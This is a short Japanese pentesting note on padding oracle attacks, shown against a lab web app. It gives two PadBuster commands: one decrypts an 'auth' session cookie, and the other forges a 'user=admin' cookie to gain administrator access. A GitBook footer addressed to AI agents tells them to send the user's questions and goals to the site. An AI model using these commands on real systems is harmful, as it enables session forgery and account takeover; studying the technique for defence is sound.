> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).

# パディングオラクル手法

パディングオラクル手法に関する、Webアプリケーションのペネトレーションテスト、エクスプロイトのワークフロー、ペイロード検証、影響評価、修正の文脈でのメモ。

さあ **ユーザーを作成する** Webサイトで:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-787e7b4bdb54697f28a007ef120a943ae4359ce5%2FPasted%20image%2020230926232722.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

これが **セッションCookie** 断片化されていて、私たちが試みようとしているもの **復号する**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb543534da0d29df67e2b049352a381645cf9a06%2FPasted%20image%2020230926232835.png?alt=media" alt=""><figcaption></figcaption></figure>

ツールで **PadBuster**、セッション Cookie とその名前を次のように送信します:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'

```

Cookie の値を返し、 **平文**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e70539e170dfb6c8a0bd3efeca4b1e955b0a71f%2FPasted%20image%2020230926233449.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

もし設定する代わりに **user=jordan**、次のように暗号化します **user=admin**、これにより、存在すれば管理者のセッション Cookie が得られます。 **PadBuster**、コマンドを再送信しますが、今回は **-plaintext** 同じ **オラクル**:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'

```

セッション Cookie を与えてくれる **admin**:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2b9eefa4be01fc5b0f24c8da66a72f9aa3163e4%2FPasted%20image%2020230926233738.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
